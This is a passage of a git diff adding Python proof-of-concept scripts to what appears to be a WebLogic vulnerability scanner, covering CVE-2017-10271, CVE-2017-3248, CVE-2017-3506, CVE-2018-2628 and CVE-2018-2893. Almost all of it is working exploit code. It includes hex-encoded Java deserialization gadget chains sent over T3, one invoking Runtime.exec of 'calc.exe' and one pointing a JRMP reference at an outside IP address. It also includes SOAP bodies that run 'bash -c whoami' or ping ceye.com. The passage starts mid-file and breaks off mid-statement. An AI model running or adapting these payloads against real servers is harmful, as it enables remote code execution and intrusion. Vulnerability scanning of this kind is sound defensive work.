'007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(rport)) + data3 = '1a7727000d3234322e323134' + data4 = '2e312e32353461863d1d0000000078' + for d in [data1,data2,data3,data4]: + sock.send(bytes.fromhex(d)) + time.sleep(2) + +def sendEvilObjData(sock,data): + payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000' + payload+=data + payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff' + payload = '%s%s'%('{:08x}'.format(len(payload)//2 + 4),payload) + sock.send(bytes.fromhex(payload)) + res = '' + try: + while True: + res += sock.recv(4096) + time.sleep(0.1) + except Exception: + pass + return res +def checkVul(res,server_addr,index): + p=re.findall(VER_SIG[index], res, re.S) + a,b=server_addr + if len(p)>0: + logging.info('[+]{}:{} has a JAVA deserialization vulnerability:{}.'.format(a,b,VUL[index])) + else: + logging.info('[-]{}:{} not detected {}.'.format(a,b,VUL[index])) + +def run(rip,rport,index): + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(10) + server_addr = (rip, rport) + t3handshake(sock,server_addr) + buildT3RequestObject(sock,rport) + rs=sendEvilObjData(sock,PAYLOAD[index]) + checkVul(rs,server_addr,index) + +if __name__=="__main__": + dip = sys.argv[1] + dport = int(sys.argv[2]) + run(dip,dport,0) \ No newline at end of file diff --git a/WeblogicScanLot/poc/CVE_2017_10271.py b/WeblogicScanLot/poc/CVE_2017_10271.py new file mode 100644 index 0000000..6f4f9c0 --- /dev/null +++ b/WeblogicScanLot/poc/CVE_2017_10271.py @@ -0,0 +1,72 @@ +#!/usr/bin/env python3 +# _*_ coding:utf-8 _*_ +''' + ____ _ _ _ _ __ __ _ +| _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __ +| |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ / +| _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ < +|_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\ + +''' +import sys +import requests +import re +import logging + +logging.basicConfig(filename='Weblogic.log', + format='%(asctime)s %(message)s', + filemode="w", level=logging.INFO) + +VUL=['CVE-2017-10271'] +headers = {'user-agent': 'ceshi/0.0.1'} + +def poc(url,index): + rurl=url + if not url.startswith("http"): + url = "http://" + url + if "/" in url: + url += '/wls-wsat/CoordinatorPortType' + post_str = ''' + + + + + + + + /usr/sbin/ping + + + ceye.com + + + + + + + + + + ''' + + try: + response = requests.post(url, data=post_str, verify=False, timeout=5, headers=headers) + response = response.text + response = re.search(r"\.*\<\/faultstring\>", response).group(0) + except Exception: + response = "" + + if 'java.lang.ProcessBuilder' in response or "0" in response: + logging.info('[+]{} has a JAVA deserialization vulnerability:{}.'.format(rurl,VUL[index])) + else: + logging.info('[-]{} not detected {}.'.format(rurl,VUL[index])) + + +def run(rip,rport,index): + url=rip+':'+str(rport) + poc(url=url,index=index) + +if __name__ == '__main__': + dip = sys.argv[1] + dport = int(sys.argv[2]) + run(dip,dport,0) \ No newline at end of file diff --git a/WeblogicScanLot/poc/CVE_2017_3248.py b/WeblogicScanLot/poc/CVE_2017_3248.py new file mode 100644 index 0000000..2dc3eac --- /dev/null +++ b/WeblogicScanLot/poc/CVE_2017_3248.py @@ -0,0 +1,73 @@ +#!/usr/bin/env python3 +# _*_ coding:utf-8 _*_ +''' + ____ _ _ _ _ __ __ _ +| _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __ +| |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ / +| _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ < +|_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\ + +''' +import socket +import sys +import time +import re +import logging + +logging.basicConfig(filename='Weblogic.log', + format='%(asctime)s %(message)s', + filemode="w", level=logging.INFO) + +VUL=['CVE-2017-3248'] +PAYLOAD=['aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000003f728200000000000000100000578aced00057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b0200007870000000014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001e00000002767200106a61767a0000018e612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001e7371007e00167571007e001b00000002707571007e001b00000000740006696e766f6b657571007e001e00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e001b7371007e0016757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000863616c632e657865740004657865637571007e001e0000000171007e00237371007e0011737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000010770800000010000000007878767200126a6176612e6c616e672e4f766572726964650000000000000000000000787071007e003a78','aced0005737200257765626c6f6769632e636f7262612e7574696c732e4d61727368616c6c65644f626a656374592161d5f3d1dbb6020002490004686173685b00086f626a42797465737400025b427870b6f794cf757200025b42acf317f8060854e0020000787000000130aced00057372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000074000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a99020000787000000001767200106a6176612e6c616e672e53797374656d00000000000000000000007870','aced0005737d00000001001a6a6176612e726d692e72656769737472792e5265676973747279787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707732000a556e696361737452656600093132372e302e302e3100000000000000006ed6d97b00000000000000000000000000000078'] +VER_SIG=['\\$Proxy[0-9]+'] +def t3handshake(sock,server_addr): + sock.connect(server_addr) + sock.send(bytes.fromhex('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a')) + time.sleep(1) + sock.recv(1024) + +def buildT3RequestObject(sock,rport): + data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371' + data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(rport)) + data3 = '1a7727000d3234322e323134' + data4 = '2e312e32353461863d1d0000000078' + for d in [data1,data2,data3,data4]: + sock.send(bytes.fromhex(d)) + time.sleep(2) + +def sendEvilObjData(sock,data): + payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000' + payload+=data + payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff' + payload = '%s%s'%('{:08x}'.format(len(payload)//2 + 4),payload) + sock.send(bytes.fromhex(payload)) + res = '' + try: + while True: + res += sock.recv(4096) + time.sleep(0.1) + except Exception: + pass + return res +def checkVul(res,server_addr,index): + p=re.findall(VER_SIG[index], res, re.S) + a,b=server_addr + if len(p)>0: + logging.info('[+]{}:{} has a JAVA deserialization vulnerability:{}.'.format(a,b,VUL[index])) + else: + logging.info('[-]{}:{} not detected {}.'.format(a,b,VUL[index])) + +def run(rip,rport,index): + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(10) + server_addr = (rip, rport) + t3handshake(sock,server_addr) + buildT3RequestObject(sock,rport) + rs=sendEvilObjData(sock,PAYLOAD[index]) + checkVul(rs, server_addr, index) + +if __name__=="__main__": + dip = sys.argv[1] + dport = int(sys.argv[2]) + run(dip,dport,0) \ No newline at end of file diff --git a/WeblogicScanLot/poc/CVE_2017_3506.py b/WeblogicScanLot/poc/CVE_2017_3506.py new file mode 100644 index 0000000..b95e8c2 --- /dev/null +++ b/WeblogicScanLot/poc/CVE_2017_3506.py @@ -0,0 +1,75 @@ +#!/usr/bin/env python3 +# _*_ coding:utf-8 _*_ +''' + ____ _ _ _ _ __ __ _ +| _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __ +| |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ / +| _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ < +|_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\ + +''' +import sys +import requests +import re +import logging + +logging.basicConfig(filename='Weblogic.log', + format='%(asctime)s %(message)s', + filemode="w", level=logging.INFO) + +VUL=['CVE-2017-3506'] +headers = {'user-agent': 'ceshi/0.0.1'} + +def poc(url,index): + rurl=url + if not url.startswith("http"): + url = "http://" + url + if "/" in url: + url += '/wls-wsat/CoordinatorPortType' + post_str = ''' + + + + + + + + /bin/bash + + + -c + + + whoami + + + + + + + + + + ''' + + try: + response = requests.post(url, data=post_str, verify=False, timeout=5, headers=headers) + response = response.text + response = re.search(r"\.*\<\/faultstring\>", response).group(0) + except Exception: + response = "" + + if 'java.lang.ProcessBuilder' in response or "0" in response: + logging.info('[+]{} has a JAVA deserialization vulnerability:{}.'.format(rurl,VUL[index])) + else: + logging.info('[-]{} not detected {}.'.format(rurl,VUL[index])) + + +def run(rip,rport,index): + url=rip+':'+str(rport) + poc(url=url,index=index) + +if __name__ == '__main__': + dip = sys.argv[1] + dport = int(sys.argv[2]) + run(dip,dport,0) \ No newline at end of file diff --git a/WeblogicScanLot/poc/CVE_2018_2628.py b/WeblogicScanLot/poc/CVE_2018_2628.py new file mode 100644 index 0000000..58aba3c --- /dev/null +++ b/WeblogicScanLot/poc/CVE_2018_2628.py @@ -0,0 +1,80 @@ +#!/usr/bin/env python3 +# _*_ coding:utf-8 _*_ +''' + ____ _ _ _ _ __ __ _ +| _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __ +| |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ / +| _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ < +|_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\ + +''' +import socket +import sys +import time +import re +import logging + +logging.basicConfig(filename='Weblogic.log', + format='%(asctime)s %(message)s', + filemode="w", level=logging.INFO) + + +VUL=['CVE-2018-2628'] +PAYLOAD=['aced0005737d00000001001d6a6176612e726d692e61637469766174696f6e2e416374697661746f72787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707737000a556e6963617374526566000e3130342e3235312e3232382e353000001b590000000001eea90b00000000000000000000000000000078'] +VER_SIG=['\\$Proxy[0-9]+'] + +def t3handshake(sock,server_addr): + sock.connect(server_addr) + sock.send(bytes.fromhex('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a')) + time.sleep(1) + sock.recv(1024) + +def buildT3RequestObject(sock,dport): + data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371' + data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport)) + data3 = '1a7727000d3234322e323134' + data4 = '2e312e32353461863d1d0000000078' + for d in [data1,data2,data3,data4]: + sock.send(bytes.fromhex(d)) + time.sleep(2) + + +def sendEvilObjData(sock,data): + payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000' + payload+=data + payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff' + payload = '%s%s'%('{:08x}'.format(len(payload)//2 + 4),payload) + sock.send(bytes.fromhex(payload)) + time.sleep(2) + sock.send(bytes.fromhex(payload)) + res = '' + try: + while True: + res += sock.recv(4096) + time.sleep(0.1) + except Exception: + pass + return res + +def checkVul(res,server_addr,index): + p=re.findall(VER_SIG[index], res, re.S) + a,b=server_addr + if len(p)>0: + logging.info('[+]{}:{} has a JAVA deserialization vulnerability:{}.'.format(a,b,VUL[index])) + else: + logging.info('[-]{}:{} not detected {}.'.format(a,b,VUL[index])) + +def run(dip,dport,index): + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(10) + server_addr = (dip, dport) + t3handshake(sock,server_addr) + buildT3RequestObject(sock,dport) + rs=sendEvilObjData(sock,PAYLOAD[index]) + checkVul(rs, server_addr, index) + + +if __name__=="__main__": + dip = sys.argv[1] + dport = int(sys.argv[2]) + run(dip,dport,0) \ No newline at end of file diff --git a/WeblogicScanLot/poc/CVE_2018_2893.py b/WeblogicScanLot/poc/CVE_2018_2893.py new file mode 100644 index 0000000..46effbe --- /dev/null +++ b/WeblogicScanLot/poc/CVE_2018_2893.py @@ -0,0 +1,82 @@ +#!/usr/bin/env python3 +# _*_ coding:utf-8 _*_ +''' + ____ _ _ _ _ __ __ _ +| _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __ +| |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ / +| _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ < +|_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\ + +''' +import socket +import time +import re +import sys +import logging + +logging.basicConfig(filename='Weblogic.log', + format='%(asctime)s %(message)s', + filemode="w", level=logging.INFO) + +VUL=['CVE-2018-2893'] + +PAYLOAD=['ACED0005737200257765626C6F6769632E6A6D732E636F6D6D6F6E2E53747265616D4D657373616765496D706C6B88DE4D93CBD45D0C00007872001F7765626C6F6769632E6A6D732E636F6D6D6F6E2E4D657373616765496D706C69126161D04DF1420C000078707A000001251E200000000000000100000118ACED0005737D00000001001A6A6176612E726D692E72656769737472792E5265676973747279787200176A6176612E6C616E672E7265666C6563742E50726F7879E127DA20CC1043CB0200014C0001687400254C6A6176612F6C616E672F7265666C6563742F496E766F636174696F6E48616E646C65723B78707372002D6A6176612E726D692E7365727665722E52656D6F74654F626A656374496E766F636174696F6E48616E646C657200000000000000020200007872001C6A6176612E726D692E7365727665722E52656D6F74654F626A656374D361B4910C61331E03000078707732000A556E696361737452656600093132372E302E302E310000F1440000000046911FD80000000000000000000000000000007878'] + +VER_SIG=['StreamMessageImpl'] + +def t3handshake(sock,server_addr): + sock.connect(server_addr) + sock.send(bytes.fromhex('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a')) + time.sleep(1) + sock.recv(1024) + + +def buildT3RequestObject(sock,port): + data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371' + data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(port)) + data3 = '1a7727000d3234322e323134' + data4 = '2e312e32353461863d1d0000000078' + for d in 